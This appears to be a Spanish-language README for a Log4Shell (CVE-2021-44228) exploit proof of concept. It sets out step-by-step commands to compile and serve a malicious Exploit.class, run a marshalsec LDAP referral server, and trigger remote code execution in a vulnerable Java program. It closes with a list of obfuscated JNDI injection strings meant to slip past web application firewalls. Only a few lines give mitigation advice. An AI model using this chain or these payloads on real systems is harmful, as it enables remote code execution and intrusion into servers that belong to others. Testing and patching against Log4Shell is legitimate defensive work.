
Prueba de concepto del exploit para CVE-2021-44228 (Log4Shell) con inyección JNDI, servidor de referencia LDAP y técnicas de evasión de WAF para probar vulnerabilidades de RCE en Log4j.
Las versiones 1.x tienen otras vulnerabilidades; recomendamos que actualice a la última versión.
Avisos / boletines de seguridad relacionados con Log4Shell (CVE-2021-44228)
descargue este proyecto, compile el código del exploit blob/master/src/main/java/Exploit.java e inicie un servidor web que permita la descarga del binario compilado.
git clone https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce.git
cd CVE-2021-44228-Apache-Log4j-Rce
javac Exploit.java
# start webserver
# For Python2
python -m SimpleHTTPServer 8888
# For Python3
python3 -m http.server 8888
# make sure python webserver is running the same directory as Exploit.class, to test
curl -I 127.0.0.1:8888/Exploit.class
descargue otro proyecto y ejecute la implementación del servidor LDAP que devuelve referencias JNDI https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
# Java 8 required
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
compile y ejecute el código de activación (simula un ataque log4j en un servidor web Java vulnerable) blob/master/src/main/java/log4j.java, y aparecerá su aplicación de calculadora.
cd CVE-2021-44228-Apache-Log4j-Rce
mvn clean package
java -cp target/log4j-rce-1.0-SNAPSHOT-all.jar log4j
# expect the following
# 1. calculator app appear
# 2. in ldapserver console,
# Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8888/Exploit.class
# 3. in webserver console,
# 127.0.0.1 - - [....] "GET /Exploit.class HTTP/1.1" 200 -
Consejos:
No confíe en que la versión actual de Java le salve. Actualice Log4 (o elimine la búsqueda JNDI). Desactive la expansión (de todos modos, parece una muy mala idea).
Por ejemplo:
${jndi:ldap://127.0.0.1:1389/ badClassName}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
No confíe en el firewall de aplicaciones web.
Los lookups proporcionan una forma de añadir valores a la configuración de Log4j en lugares arbitrarios.
Los métodos que provocan la fuga en finally
LogManager.getLogger().error()
LogManager.getLogger().fatal()
Si desea realizar pruebas de caja negra, le sugiero que haga un escaneo pasivo.
¡¡¡Diviértete!!!
